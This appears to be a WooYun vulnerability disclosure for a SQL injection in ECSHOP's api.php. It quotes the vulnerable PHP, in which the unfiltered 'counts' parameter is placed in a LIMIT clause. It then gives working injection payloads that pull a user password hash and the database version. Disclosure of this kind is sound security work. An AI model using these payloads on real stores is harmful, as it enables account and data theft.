当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-053611

漏洞标题:ECSHOP最新版SQL注入漏洞

相关厂商:ShopEx

漏洞作者: felixk3y

提交时间:2014-03-14 14:47

修复时间:2014-06-09 14:47

公开时间:2014-06-09 14:47

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-14: 细节已通知厂商并且等待厂商处理中
2014-03-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-05-08: 细节向核心白帽子及相关领域专家公开
2014-05-18: 细节向普通白帽子公开
2014-05-28: 细节向实习白帽子公开
2014-06-09: 细节向公众公开

简要描述:

昨天上午没事,闲着 下载了最新版的ecshop 想挑战挑战自己...
下午 客服美眉打电话来,询问下载ECSHOP的目的,哈哈.. 别说 声音挺甜的...
为了抢我的IPAD ,看来还必须赚RANK啊...

详细说明:

注:需要网店店主权限
#1 漏洞代码
这个漏洞比较简单,也许是开发人员疏忽了吧...

if (is_numeric($_POST['last_modify_st_time']) && is_numeric($_POST['last_modify_en_time']))
{
$sql = 'SELECT COUNT(*) AS count' .
' FROM ' . $GLOBALS['ecs']->table('goods') .
" WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)";
$date_count = $GLOBALS['db']->getRow($sql);
if (empty($date_count))
{
api_err('0x003', 'no data to back'); //无符合条件数据
}
$page = empty($_POST['pages']) ? 1 : $_POST['pages']; //确定读取哪些记录
$counts = empty($_POST['counts']) ? 100 : $_POST['counts']; //我肋个去,这里居然没过滤...
$sql = 'SELECT goods_id, last_update AS last_modify' .
' FROM ' . $GLOBALS['ecs']->table('goods') .
" WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)".
" LIMIT ".($page - 1) * $counts . ', ' . $counts;//我肋个天,居然就这样带入了sql语句...
//exit($sql);
$date_arr = $GLOBALS['db']->getAll($sql);//OH! My god,居然就这样直接查询了...


在这段代码中,POST过来的counts参数

$counts = empty($_POST['counts']) ? 100 : $_POST['counts'];


可以看出来,这里没有经过任何的过滤,接着往下看

$sql = 'SELECT goods_id, last_update AS last_modify' .
' FROM ' . $GLOBALS['ecs']->table('goods') .
" WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)".
" LIMIT ".($page - 1) * $counts . ', ' . $counts;//我肋个天,居然就这样带入了sql语句...


看见了没有,我肋个天,居然就这样带入了sql语句...
后面直接执行了...

$date_arr = $GLOBALS['db']->getAll($sql);


#2 漏洞利用
这个漏洞比较简单,下面给出漏洞利用POC
Step1 访问:http://www.secmap.cn/ecshop/api.php
同时POST提交

ac=true&act=search_goods_list&last_modify_st_time=111&last_modify_en_time=1&api_version=1.0&pages=1&counts=1 union select count(*)  from (select 1 union select null union select !1)x group by  concat((select password from ecs_users limit 1),floor(rand(0)*2)) -- s


结果报错了,如图:

1.jpg

漏洞证明:

#3 漏洞证明

counts=1 union select user(),version()#23


2.jpg

修复方案:

过滤,同时请注意细节问题,希望以后别再出这样低级的错误,谢谢。

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-06-09 14:47

厂商回复:

非常感谢您为shopex信息安全做的贡献
该问题经过测试不存在,对于API操作做过验证
谢谢

最新状态:

暂无